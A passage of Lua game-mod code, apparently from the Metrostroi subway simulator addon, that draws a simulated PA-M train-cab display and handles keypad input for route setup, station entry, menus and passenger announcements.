local speed = math.floor(self.Train:GetPackedRatio(3)*100.0)
local spd = self.Train:GetNW2Bool("PAM:UOS", false) and 35 or self.Train:GetNW2Bool("PAM:VRD",false) and 20 or self.Train:GetPackedBool(46) and 80 or self.Train:GetPackedBool(45) and 70 or self.Train:GetPackedBool(44) and 60 or self.Train:GetPackedBool(43) and 40 or self.Train:GetPackedBool(42) and 0 or "НЧ"
Metrostroi.DrawRectOutline(10, 6, 100, 40,Color(110,172,95),3 )
local date = os.date("!*t",os_time)
draw.SimpleText(Format("%02d:%02d:%02d",date.hour,date.min,date.sec),"Metrostroi_PAM25",59, 30,Color(110,172,95),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("Линия ")..Line,"Metrostroi_PAM30",120, 30,Color(254,237,142),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
if Station > 0 and Metrostroi.AnnouncerData[LastStation] then
draw.SimpleText(self.T("до ")..Metrostroi.AnnouncerData[LastStation][1],"Metrostroi_PAM25",508, 10,Color(212,212,212),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
draw.SimpleText(Metrostroi.AnnouncerData[Station] and Metrostroi.AnnouncerData[Station][1] or "unknown","Metrostroi_PAM25",508, 30,Color(212,212,212),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
elseif Metrostroi.AnnouncerData[LastStation] then
draw.SimpleText(self.T("выход на линию"),"Metrostroi_PAM25",508, 13,Color(212,212,212),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
draw.SimpleText(Metrostroi.AnnouncerData[LastStation][1],"Metrostroi_PAM25",508, 30,Color(212,212,212),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
else
draw.SimpleText(self.T("ошибка в системе ПА"),"Metrostroi_PAM25",508, 10,Color(212,212,212),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("Тек:")..Station..self.T(", Кон:")..LastStation,"Metrostroi_PAM25",508, 30,Color(212,212,212),TEXT_ALIGN_RIGHT,TEXT_ALIGN_CENTER)
end
if Path and Path > 0 then
draw.SimpleText(self.T("Путь ")..Path,"Metrostroi_PAM30",240, 30,Color(254,237,142),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
else
draw.SimpleText(self.T("Путь N/A"),"Metrostroi_PAM30",240, 30,Color(254,237,142),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
end
Metrostroi.DrawRectOutline(10, 100, 400, 20,Color(40,38,39), 2)
Metrostroi.DrawLine(10, 110, 410, 110,Color(40,38,39), 2)
surface.SetDrawColor(Color(110,172,95))
surface.DrawRect(11,101,398*self.Train:GetPackedRatio(3),7)
surface.SetDrawColor((spd == "НЧ" and 20 or spd) > 20 and Color(254,237,142) or Color(200,0,0))
surface.DrawRect(11,111,398*(spd == "НЧ" and 20 or spd)/100,7)
for i = 0,10 do
if i > 0 and i < 10 then
Metrostroi.DrawLine(10 + i*40, 100, 10 + i*40, 120,Color(40,38,39), 2)
end
if i%2 == 0 or (i == 7 and spd == 70) then
draw.SimpleText(i*10,"Metrostroi_PAM30",10 + i*40, 135,(spd == "НЧ" and 20 or spd) == i*10 and ((spd == "НЧ" and 20 or spd) > 20 and Color(254,237,142) or Color(200,0,0)) or Color(74,74,74),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
end
end
draw.SimpleText(speed,"Metrostroi_PAM50",480, 85,Color(110,172,95),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(spd,"Metrostroi_PAM50",480, 120,(spd == "НЧ" and 20 or spd) > 20 and Color(254,237,142) or Color(200,0,0),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("S = ")..S,"Metrostroi_PAM30",6, 401,Color(110,172,95),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("Рц = ")..train:GetNW2String("PAM:SName",""),"Metrostroi_PAM30",240, 401,Color(110,172,95),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
surface.SetDrawColor(Color(180,180,180))
if not train:GetNW2Bool("PAM:RR",false) then
surface.DrawRect(6,295,490,21)
draw.SimpleText(self.T("Установи реверсивную рукоятку"),"Metrostroi_PAM30",10, 305,Color(20,20,20),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
end
surface.DrawRect(6,320,100,24) surface.DrawRect(171,320,36,24) surface.DrawRect(212,320,54,24) --surface.DrawRect(266,320,40,20)
draw.SimpleText(self.Types[train:GetNW2Int("PAM:Type",false)].."="..self.Positions[train:GetNW2Int("PAM:KV",false)],"Metrostroi_PAM30",10, 331,Color(20,20,20),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
surface.DrawRect(111,320,55,24)
if train:GetNW2Bool("PAM:VZ1",false) or train:GetNW2Bool("PAM:VZ2",false) then
draw.SimpleText(train:GetNW2Bool("PAM:VZ1",false) and (train:GetNW2Bool("PAM:VZ2",false) and self.T("В1 2") or self.T("В1")) or self.T("В 2"),"Metrostroi_PAM30",85 + 55/2, 331,Color(20,20,20),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
end
draw.SimpleText(self.T("КД"),"Metrostroi_PAM30",171+35/2, 331,train:GetPackedBool(40) and Color(20,20,20) or Color(200,0,0),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("ЛПТ"),"Metrostroi_PAM30",239, 331,train:GetPackedBool("PN") and Color(200,0,0) or Color(20,20,20),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
surface.DrawRect(6,355,100,21)-- surface.DrawRect(111,355,100,20) surface.DrawRect(215,355,50,20)
draw.SimpleText(self.T("КВ АРС"),"Metrostroi_PAM30",56, 365,train:GetPackedBool(48) and Color(200,0,0) or Color(20,20,20),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
Metrostroi.DrawRectOutline(370, 320, 130, 60,Color(110,172,95),3 )
draw.SimpleText(self.T("Т. ")..Format("%02d:%02d:%02d",date.hour,date.min,date.sec),"Metrostroi_PAM20",375, 330,Color(110,172,95),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("Тпр. ")..(self.Train:GetPackedRatio(3)*100.0 > 0.25 and math.min(999,math.floor(S/(speed*1000/3600))) or "inf"),"Metrostroi_PAM20",375, 347.5,Color(110,172,95),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
--draw.SimpleText(self.T("На ="),"Metrostroi_PAM20",375, 347.5,Color(110,172,95),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("Тост = ")..train:GetNW2Int("PAM:BoardTime",0),"Metrostroi_PAM20",375, 365,Color(110,172,95),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
if train:GetNW2Int("PAM:Menu",0) > 0 then
Metrostroi.DrawRectOL(50, 150, 385, 24*7+3,Color(160,160,160), 3,Color(180,180,180))
--surface.SetDrawColor(Color(180,180,180))
--surface.DrawRect(51,151,382,24*7-4)
surface.SetDrawColor(Color(200,200,200))
surface.DrawRect(51,127 + train:GetNW2Int("PAM:Menu",0)*24,382,23)
for i = 1,6 do
Metrostroi.DrawLine(50,150+24*i,435,150+24*i,Color(160,160,160),3)
end
draw.SimpleText(self.T("Проверка наката"),"Metrostroi_PAM22",256, 162,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(train:GetNW2Bool("PAM:KD") and self.T("Движение с КД") or self.T("Движение без КД"),"Metrostroi_PAM22",256, 186,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(train:GetNW2Bool("PAM:LPT") and self.T("Движение с контролем ЛПТ") or self.T("Движение без контроля ЛПТ"),"Metrostroi_PAM22",256, 210,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("Движение транзитом"),"Metrostroi_PAM22",256, 234,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("Движение с Vд = 0"),"Metrostroi_PAM22",256, 258,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("Зонный оборот"),"Metrostroi_PAM22",256, 282,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("Фиксация станции"),"Metrostroi_PAM22",256, 306,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
--draw.SimpleText(self.T("Station mode"),"Metrostroi_PAM22",256, 330,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
end
if train:GetNW2Int("PAM:Ann",0) > 0 then
Metrostroi.DrawRectOutline(50, 150, 385, 24*4,Color(160,160,160), 3)
surface.SetDrawColor(Color(180,180,180))
surface.DrawRect(51,151,382,24*4-4)
surface.SetDrawColor(Color(200,200,200))
surface.DrawRect(51,127 + train:GetNW2Int("PAM:Ann",0)*24,382,23)
for i = 1,3 do
Metrostroi.DrawLine(50,150+24*i,435,150+24*i,Color(160,160,160),3)
end
draw.SimpleText(self.T("Просьба выйти из вагонов"),"Metrostroi_PAM22",256, 162,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("Заходите и выходите быстрее"),"Metrostroi_PAM22",256, 186,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("Отпустите двери"),"Metrostroi_PAM22",256, 210,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("Поезд скоро отправится"),"Metrostroi_PAM22",256, 234,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
end
if train:GetNW2Int("PAM:NeedConfirm",0) > 0 then
Metrostroi.DrawRectOL(106-100, 150, 300+200, 100,Color(160,160,160),3,Color(180,180,180))
draw.SimpleText(self.T("Подтверди ")..self.Questions[train:GetNW2Int("PAM:NeedConfirm",0)].."?","Metrostroi_PAM28",256, 175,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
Metrostroi.DrawRectOL(190-90, 195, 132, 40,Color(160,160,160),2,Color(230,230,230))
draw.SimpleText(self.T("Да - Enter"),"Metrostroi_PAM30",256-90, 215,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
Metrostroi.DrawRectOL(190+90, 195, 132, 40,Color(160,160,160),2,Color(230,230,230))
draw.SimpleText(self.T("Нет - Esc"),"Metrostroi_PAM30",256+90, 215,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
end
if train:GetNW2Bool("PAM:Nakat") then
Metrostroi.DrawRectOL(106, 150, 300, 125,Color(20,20,20),3,Color(180,180,180))
draw.SimpleText(self.T("Проверка наката"),"Metrostroi_PAM30",256, 165,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("Расстояние: "),"Metrostroi_PAM30",111, 195,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
draw.SimpleText(Format("%.2f",self.Train:GetNW2Float("PAM:Meters",0)),"Metrostroi_PAM30",300, 195,Color(254,237,142),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("Направление: "),"Metrostroi_PAM30",111, 225,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
draw.SimpleText(self.Train:GetNW2Bool("PAM:Sign",false) and self.T("Назад") or self.T("Вперёд"),"Metrostroi_PAM30",300, 225,self.Train:GetNW2Bool("PAM:Sign",false) and Color(200,0,0) or Color(110,172,95),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
Metrostroi.DrawRectOL(190-20, 240, 132+40, 30,Color(160,160,160),2,Color(230,230,230))
draw.SimpleText(self.T("Отмена - Esc"),"Metrostroi_PAM30",256, 255,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
--draw.SimpleText(self.Questions[train:GetNW2Int("PAM:NeedConfirm",0)].."?","Metrostroi_PAM30",256, 180,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
end
if train:GetNW2Int("PAM:Fix",-1) > -1 or train:GetNW2Int("PAM:Zon",-1) > -1 then
local Line = train:GetNW2Int("PAM:FLine",0)
local StationAc = train:GetNW2Int("PAM:FAc",-1)
local Station = train:GetNW2Int("PAM:FStation",0)
local choosed = train:GetNW2Int("PAM:Fix",-1) > -1 and train:GetNW2Int("PAM:Fix",0) or train:GetNW2Int("PAM:Zon",0)
surface.SetDrawColor(Color(180,180,180))
surface.DrawRect(10,151,512-20,24*6+3)
--Metrostroi.DrawRectOutline(12,153,512-24,24*8-8,Color(20,20,20), 2)
Metrostroi.DrawRectOL(12,153,512-24,24*1,Color(20,20,20), 2,choosed == 0 and Color(230,230,230) or Color(180,180,180))
draw.SimpleText(self.T("Линия"),"Metrostroi_PAM22",50, 164,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
if Line > -1 then draw.SimpleText(Line,"Metrostroi_PAM22",350, 164,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER) end
Metrostroi.DrawRectOL(12,153 + 24*1-1,512-24,24*1,Color(20,20,20), 2,choosed == 1 and Color(230,230,230) or Color(180,180,180))
draw.SimpleText(self.T("Код станции"),"Metrostroi_PAM22",50, 187,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
local tbl = Metrostroi.WorkingStations
if Station ~= -1 then
for i = 1,#tostring(Station) do
draw.SimpleText(tostring(Station)[i],"Metrostroi_PAM22",350 + (i-1)*20, 187,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
end
else
if tbl[Line] and tbl[Line][StationAc] and Metrostroi.AnnouncerData[StationAc] then
draw.SimpleText(Metrostroi.AnnouncerData[StationAc][1].."("..StationAc..")","Metrostroi_PAM22",350, 187,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
elseif StationAc ~= -1 then
draw.SimpleText(StationAc,"Metrostroi_PAM22",350, 187,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
end
end
Metrostroi.DrawRectOL(12,153 + 24*2-2,512-24,24*1,Color(20,20,20), 2,choosed == 2 and Color(230,230,230) or Color(180,180,180))
draw.SimpleText(self.T("Ввод данных"),"Metrostroi_PAM22",50, 210,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
Metrostroi.DrawRectOL(12,153 + 24*3,512-24,24*3,Color(20,20,20), 2,Color(180,180,180))
local i = 0
local FLine = train:GetNW2Int("PAM:FLine",-1)
if Metrostroi.WorkingStations[FLine] then
for k,v in pairs(Metrostroi.WorkingStations[FLine]) do
if Metrostroi.AnnouncerData[v] and tostring(v):find(Station ~= -1 and Station or StationAc) then
local name = Metrostroi.AnnouncerData[v][1]
local tbl = string.Explode(" ",name)
if #tbl > 1 then
name = ""
for k,v in pairs(tbl) do
name = name..v[1]
end
end
draw.SimpleText(v .."-".. name:sub(1,2),"Metrostroi_PAM22",30 + math.floor(i/4)*110, 250-15 + i%4*15,Color(2,2,2),TEXT_ALIGN_LEFT,TEXT_ALIGN_CENTER)
i = i + 1
end
end
end
if train:GetNW2Bool("PAM:State6Error",false) then
Metrostroi.DrawRectOL(106, 125, 300, 150,Color(20,20,20),3,Color(180,180,180))
draw.SimpleText(self.T("Ошибка при"),"Metrostroi_PAM30",256, 150,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("вводе данных"),"Metrostroi_PAM30",256, 180,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
Metrostroi.DrawRectOL(190, 220, 132, 40,Color(20,20,20),3,Color(230,230,230))
draw.SimpleText(self.T("ENTER"),"Metrostroi_PAM30",256, 240,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
end
end
if train:GetNW2Bool("PAM:SetupError",false) then
Metrostroi.DrawRectOL(100, 125, 312, 150,Color(20,20,20),3,Color(180,180,180))
draw.SimpleText(self.T("Критическая ошибка"),"Metrostroi_PAM30",256, 150,Color(200,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("Необходимо уточнение"),"Metrostroi_PAM30",256, 175,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
draw.SimpleText(self.T("данных"),"Metrostroi_PAM30",256, 200,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
Metrostroi.DrawRectOL(190, 220, 132, 40,Color(20,20,20),3,Color(230,230,230))
draw.SimpleText(self.T("ENTER"),"Metrostroi_PAM30",256, 240,Color(2,2,2),TEXT_ALIGN_CENTER,TEXT_ALIGN_CENTER)
end
end
surface.SetAlphaMultiplier(1)
end
function TRAIN_SYSTEM:ClientThink()
end
end
function TRAIN_SYSTEM:UpdateUPO()
for k,v in pairs(self.Train.WagonList) do
if v.UPO then v.UPO:SetStations(self.Line,self.FirstStation,self.LastStation,v == self.Train) end
v:OnButtonPress("RouteNumberUpdate",self.RouteNumber)
end
end
function TRAIN_SYSTEM:Trigger(name,nosnd)
--self.Pass = "A"
--self.State = 0
local Announcer = self.Train.Announcer
self.Pitches = {
B1 = 166,
B2 = 155 ,
B3 = 144,
B4 = 160,
B5 = 150,
B6 = 140,
B7 = 150,
B8 = 145,
B9 = 140,
BEsc = 140,
B0 = 135,
BEnter = 130,
BLeft = 125,
BDown = 120,
BRight = 115,
BF = 130,
BUp = 125,
BM = 120,
}
if not nosnd then self.Train:PlayOnce("paksd","cabin",0.75,self.Pitches[name] or 120.0) end
if self.State == 3 and name == "BEnter" then
self:SetState(4)
elseif self.State == 4 then
if name == "BEnter" then
if self.EnteredPass == "31173" then
self:SetState(-2)
elseif self.Pass ~= self.EnteredPass then
self.EnteredPass = "/"
else
self:SetState(5)
end
else
if self.EnteredPass == "/" then self.EnteredPass = "" end
local Char = tonumber(name:sub(2,2))
if Char and #self.EnteredPass < 11 then self.EnteredPass = self.EnteredPass..tonumber(name:sub(2,2)) end
end
elseif self.State == 5 then
if name == "BDown" then
self.State5Choose = math.min(self.Train:GetNW2Bool("PAM:Restart") and 2 or 1,(self.State5Choose or 1) + 1)
end
if name == "BUp" then
self.State5Choose = math.max(1,(self.State5Choose or 1) - 1)
end
if name == "BEnter" then
if self.State5Choose == 1 then
self:SetState(6)
else
self:SetState(7)
end
end
elseif self.State == 6 then
if self.State6Error then if name == "BEnter" then self.State6Error = false end return end
if name == "BDown" then
self.State6Choose = math.min(5,(self.State6Choose or 1) + 1)
end
if name == "BUp" then
self.State6Error = false
self.State6Choose = math.max(1,(self.State6Choose or 1) - 1)
end
if name == "BEsc" then
if self.State6Choose == 2 then
self.FirstStation= self.FirstStation:sub(1,-2)
end
if self.State6Choose == 3 then
self.LastStation= self.LastStation:sub(1,-2)
end
if self.State6Choose == 4 then
self.RouteNumber= self.RouteNumber:sub(1,-2)
end
self:UpdateUPO()
end
if name == "BEnter" and self.State6Choose == 5 then
if not Metrostroi.WorkingStations[self.Line] or
not Metrostroi.WorkingStations[self.Line][tonumber(self.FirstStation)] or
not Metrostroi.AnnouncerData[tonumber(self.FirstStation)] or
not Metrostroi.WorkingStations[self.Line][tonumber(self.LastStation)] or
not Metrostroi.AnnouncerData[tonumber(self.LastStation)] or
#self.RouteNumber < 3 or self.LastStation == self.FirstStation then
self.State6Error = not self.State6Error
else
self:SetState(8)
end
end
local Char = tonumber(name:sub(2,2))
if Char then
if self.State6Choose == 1 then
self.Line = Char
if Metrostroi.WorkingStations[self.Line] then
local Routelength = #Metrostroi.WorkingStations[self.Line]
self.FirstStation = tostring(Metrostroi.WorkingStations[self.Line][1])
self.LastStation = tostring(Metrostroi.WorkingStations[self.Line][Routelength])
end
end
if self.State6Choose == 2 and #self.FirstStation < 3 and (Char ~= 0 or #self.FirstStation > 0) then
self.FirstStation= self.FirstStation..tostring(Char)
end
if self.State6Choose == 3 and #self.LastStation < 3 and (Char ~= 0 or #self.LastStation > 0) then
self.LastStation= self.LastStation..tostring(Char)
end
if self.State6Choose == 4 and #self.RouteNumber < 3 then
self.RouteNumber= self.RouteNumber..tostring(Char)
end
self:UpdateUPO()
end
elseif self.State == 7 then
if self.State6Error then if name == "BEnter" then self.State6Error = false end return end
if name == "BDown" then
self.State6Choose = math.min(4,(self.State6Choose or 1) + 1)
end
if name == "BUp" then
self.State6Error = false
self.State6Choose = math.max(1,(self.State6Choose or 1) - 1)
end
if name == "BEsc" then
if self.State6Choose == 2 then
self.LastStation= self.LastStation:sub(1,-2)
end
if self.State6Choose == 3 then
self.RouteNumber= self.RouteNumber:sub(1,-2)
end
self:UpdateUPO()
end
if name == "BEnter" and self.State6Choose == 4 then
if not Metrostroi.EndStations[self.Line] or
not Metrostroi.EndStations[self.Line][tonumber(self.FirstStation)] or
not Metrostroi.AnnouncerData[tonumber(self.FirstStation)] or
not Metrostroi.EndStations[self.Line][tonumber(self.LastStation)] or
not Metrostroi.AnnouncerData[tonumber(self.LastStation)] or
#self.RouteNumber < 3 or self.LastStation == self.FirstStation then
self.State6Error = not self.State6Error
else
self:SetState(9)
for k,v in pairs(self.Train.WagonList) do
if v ~= self.Train and v["PA-M"] then
v["PA-M"]:SetState(9)
end
end
end
end
local Char = tonumber(name:sub(2,2))
if Char then
if self.State6Choose == 1 then
self.Line = Char
if Metrostroi.WorkingStations[self.Line] then
local Routelength = #Metrostroi.WorkingStations[self.Line]
self.FirstStation = self.FirstStation ~= "" and self.FirstStation or tostring(Metrostroi.WorkingStations[self.Line][1])
self.LastStation = tostring(Metrostroi.WorkingStations[self.Line][Routelength])
if tonumber(self.LastStation) < tonumber(self.FirstStation) then
local temp = self.FirstStation
self.FirstStation = self.LastStation
self.LastStation = temp
end
end
end
if self.State6Choose == 2 and #self.LastStation < 3 and (Char ~= 0 or #self.LastStation > 0) then
self.LastStation= self.LastStation..tostring(Char)
end
if self.State6Choose == 3 and #self.RouteNumber < 3 then
self.RouteNumber= self.RouteNumber..tostring(Char)
end
self:UpdateUPO()
end
elseif self.State == 8 then
if name == "BEnter" and self.Check == false then
self:SetState(9)
end
elseif self.State == 9 then
if self.Train:GetNW2Bool("PAM:SetupError",false) then
if name == "BEnter" then self:SetState(5) end
return
end
if name == "BF" then
if self.MenuChoosed == 0 and self.AnnChoosed == 0 and not self.Zon and not self.Fix then
self.MenuChoosed = 1
end
end
if name == "BDown" then
if self.MenuChoosed ~= 0 and (not self.NeedConfirm or self.NeedConfirm == 0) then
self.MenuChoosed = math.min(7,self.MenuChoosed + 1)
if self.MenuChoosed == 5 and (self.VRD or not (self.Train.ALS_ARS.Signal0 and not self.Train.ALS_ARS.RealNoFreq and not self.Train.ALS_ARS.Signal40 and not self.Train.ALS_ARS.Signal60 and not self.Train.ALS_ARS.Signal70 and not self.Train.ALS_ARS.Signal80)) then
self:Trigger("BDown",true)
elseif self.MenuChoosed == 6 then
if self.LastStation == tostring(self.Train.UPO.Station) then
self:Trigger("BDown",true)
end
elseif self.MenuChoosed == 7 then
if self.FirstStation == tostring(self.Train.UPO.Station) then
self.MenuChoosed = 4
end
end
end
if self.AnnChoosed ~= 0 and not self.Zon and not self.Fix then
self.AnnChoosed = math.min(4,self.AnnChoosed + 1)
end
end
if name == "BUp" then
if self.MenuChoosed ~= 0 and (not self.NeedConfirm or self.NeedConfirm == 0) then
self.MenuChoosed = math.max(1,self.MenuChoosed - 1)
if self.MenuChoosed == 5 and (self.VRD or not (self.Train.ALS_ARS.Signal0 and not self.Train.ALS_ARS.RealNoFreq and not self.Train.ALS_ARS.Signal40 and not self.Train.ALS_ARS.Signal60 and not self.Train.ALS_ARS.Signal70 and not self.Train.ALS_ARS.Signal80)) then
self:Trigger("BUp",true)
end
end
if self.MenuChoosed == 0 and self.AnnChoosed == 0 then
self.AnnChoosed = 1
end
if self.AnnChoosed ~= 0 then
self.AnnChoosed = math.max(1,self.AnnChoosed - 1)
end
end
if name == "BEsc" then
--if self.MenuChoosed ~= 0 then
if (not self.NeedConfirm or self.NeedConfirm == 0) then self.MenuChoosed = 0 end
self.AnnChoosed = 0
--end
end
if (self.NeedConfirm and self.NeedConfirm > 0) then
if name == "BEnter" then
if self.NeedConfirm == 1 and self.Train.Speed < 0.5 then
self.Nakat = true
end
if (self.Train.ALS_ARS.Signal0 and not self.Train.ALS_ARS.RealNoFreq and not self.Train.ALS_ARS.Signal40 and not self.Train.ALS_ARS.Signal60 and not self.Train.ALS_ARS.Signal70 and not self.Train.ALS_ARS.Signal80) then
self.VRD = true
end
if self.NeedConfirm == 6 then
self.Zon = 1
self.FStation = ""
self.FLine = self.Line
self.State6Error = false
end
if self.NeedConfirm == 7 then
self.Fix = 0
self.FStation = ""
self.FLine = nil
self.State6Error = false
end
self.NeedConfirm = 0
self.MenuChoosed = 0
end
if name == "BEsc" then
self.NeedConfirm = 0
end
end
if self.MenuChoosed ~= 0 and not self.Nakat and not self.Fix and not self.Zon then
if name == "BEnter" and (not self.NeedConfirm or self.NeedConfirm == 0) then
if self.MenuChoosed == 1 and self.Train.Speed < 0.5 then
self.NeedConfirm = 1
elseif self.MenuChoosed == 2 then
self.KD = not self.KD
elseif self.MenuChoosed == 3 then
self.LPT = not self.LPT
elseif self.MenuChoosed == 4 then
self.Transit = not self.Transit
self.AutodriveWorking = false
elseif self.MenuChoosed == 5 then
self.NeedConfirm = 5
elseif self.MenuChoosed == 6 then
self.NeedConfirm = 6
elseif self.MenuChoosed == 7 then
self.NeedConfirm = 7
elseif self.MenuChoosed == 8 and not self.Arrived then
--self.Arrived = true
--if self.Train.R_UPO.Value > 0 then
-- local tbl = Metrostroi.WorkingStations[self.Line]
--self.UPO:PlayArriving(self.Train.UPO.Station,tbl[tbl[self.Train.UPO.Station] + (self.Train.UPO.Path == 1 and 1 or -1)],self.Train.UPO.Path)
--end
end
if self.NeedConfirm == 0 then self.MenuChoosed = 0 end
--if self.State > 6 and self.State ~= 76 and self.State ~= 77 then self.State = 7 end
end
end
if self.AnnChoosed ~= 0 and not self.Nakat and not self.Fix and not self.Zon then
if name == "BEnter" then
if self.Train.R_UPO.Value > 0 then self.Train.UPO:II(self.AnnChoosed) end
self.AnnChoosed = 0
end
local Char = tonumber(name:sub(2,2))
if Char and Char > 0 and Char < 5 and self.Train.R_UPO.Value > 0 then
self.Train.UPO:II(Char)
self.AnnChoosed = 0
end
end
if name == "BEsc" and self.Nakat then
self.Nakat = false
if self.Train:ReadTrainWire(1) < 1 then
self.Train.ALS_ARS.Nakat = false
end
end
if self.Fix then
if self.State6Error then if name == "BEnter" then self.State6Error = false end return end
if name == "BEsc" then
if self.Fix == 1 and self.EnteredStation then
self.EnteredStation = nil
end
end
if name == "BEnter" and self.Fix == 2 then
if not Metrostroi.WorkingStations[self.FLine] or
not Metrostroi.WorkingStations[self.FLine][tonumber(self.FStation)] or
not Metrostroi.AnnouncerData[tonumber(self.FStation)] or tonumber(self.FStation) == self.FirstStation then
self.State6Error = not self.State6Error
else
self.FirstStation = self.FStation
self.Line = self.FLine
self.Fix = nil
self:UpdateUPO()
end
end
if name == "BEnter" and self.Fix == 1 then
self.FStation = self.EnteredStation
self.EnteredStation = nil
end
if name == "BDown" and not self.EnteredStation then
self.Fix = math.min(2,self.Fix + 1)
end
if name == "BUp" and not self.EnteredStation then
self.State6Error = false
self.Fix = math.max(0,self.Fix - 1)
end
local Char = tonumber(name:sub(2,2))
if Char then
if self.Fix == 0 then
self.FLine = Char
end
if self.Fix == 1 and not self.EnteredStation then
self.EnteredStation = ""
end
if self.Fix == 1 and #self.EnteredStation < 3 and (Char ~= 0 or #self.EnteredStation > 0) then
self.EnteredStation= self.EnteredStation..tostring(Char)
end
end
end
if self.Zon then
if self.State6Error then if name == "BEnter" then self.State6Error = false end return end
if name == "BEsc" then
if self.Zon == 1 and self.EnteredStation then
self.EnteredStation = nil
end
end
if name == "BEnter" and self.Zon == 2 then
if not Metrostroi.WorkingStations[self.FLine] or
not Metrostroi.WorkingStations[self.FLine][tonumber(self.FStation)] or
not Metrostroi.AnnouncerData[tonumber(self.FStation)] or tonumber(self.FStation) == self.LastStation then
self.State6Error = not self.State6Error
else
self.Zon = nil
self.LastStation = self.FStation
self:UpdateUPO()
end
end
if name == "BEnter" and self.Zon == 1 then
self.FStation = self.EnteredStation
self.EnteredStation = nil
end
if name == "BDown" and not self.EnteredStation then
self.Zon = math.min(2,self.Zon + 1)
end
if name == "BUp" and not self.EnteredStation then
self.State6Error = false
self.Zon = math.max(1,self.Zon - 1)
end
local Char = tonumber(name:sub(2,2))
if Char then
if self.Zon == 0 then
self.FLine = Char
end
if self.Zon == 1 and not self.EnteredStation then
self.EnteredStation = ""
end
if self.Zon == 1 and #self.EnteredStation < 3 and (Char ~= 0 or #self.EnteredStation > 0) then
self.EnteredStation= self.EnteredStation..tostring(Char)
end
end
end
end
end
function TRAIN_SYSTEM:GetTimer(val)
return self.TimerMod and (CurTime() - self.Timer) > val
end
function TRAIN_SYSTEM:SetTimer(mod)
if mod then
if self.TimerMod == mod then return end
self.TimerMod = mod
else
self.TimerMod = nil
end
self.Timer = CurTime()
end
function TRAIN_SYSTEM:SetState(state,add,state9)
local Train = self.Train
local ARS = Train.ALS_ARS
